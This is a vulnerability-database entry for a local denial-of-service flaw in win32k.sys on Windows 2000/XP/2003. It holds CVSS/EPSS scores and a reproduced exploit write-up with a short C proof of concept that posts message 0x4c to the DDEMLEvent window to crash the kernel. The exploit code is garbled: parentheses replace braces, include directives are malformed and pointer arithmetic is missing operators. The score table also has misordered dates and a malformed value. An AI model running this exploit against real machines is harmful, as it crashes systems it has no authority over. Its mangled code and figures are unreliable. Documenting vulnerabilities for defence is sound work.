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The SfnLOGONNOTIFY function in win32k.sys in the kernel in Microsoft Windows 2000, XP, and Server 2003 allows local users to cause a denial of service (system crash) via a 0x4c value in the second argument (aka the Msg argument) of a PostMessage function call for the DDEMLEvent window.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.9
AV:L/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.28%
–
–
2022-02-13
–
–
2.28%
–
–
2022-04-03
–
–
2.28%
–
–
2022-08-21
–
–
2.28%
–
–
2023-03-12
–
–
–
0.04%
–
2023-11-05
–
–
–
0.04%
–
2023-12-03
–
–
–
0.04%
–
2024-03-24
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-08-25
–
–
–
0.04%
–
2024-12-08
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-05
–
–
–
0.04%
–
2025-03-16
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.84%
2025-03-30
–
–
–
–
0.94%
2025-04-06
–
–
–
–
0.76%
2025-04-15
–
–
–
–
0.76%
2025-04-15
–
–
–
–
0.76,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2010-04-21 22h00 +00:00 Author : MJ0011 EDB Verified : No
/*
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability
Effect : Microsoft Windows 2000/XP/2003 full patch
Author:MJ0011
Published: 2010-04-22
Vulnerability Details:
Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to
BSOD
Pseudo-code:
if (wParam == 4 | | wParam == 13 | | wParam == 12)
(
v18 = * (_DWORD *) lParam;
v19 = * (_DWORD *) (lParam 4);
v20 = * (_DWORD *) (lParam 8);
v21 = * (_DWORD *) (lParam 12);
*/
//Exploit code:
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
getchar();
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
return 0;
)
Common crash stack:
kd> kc
win32k! SfnLOGONNOTIFY
win32k! xxxDefWindowProc
win32k! xxxEventWndProc
win32k! xxxDispatchMessage
win32k! NtUserDispatchMessage
/*
....
Windows 7/Vista no such problem
Thanks:
Thanks to my colleagues LYL to help me discovered this vulnerability
th_decoder
2010-04-22
*/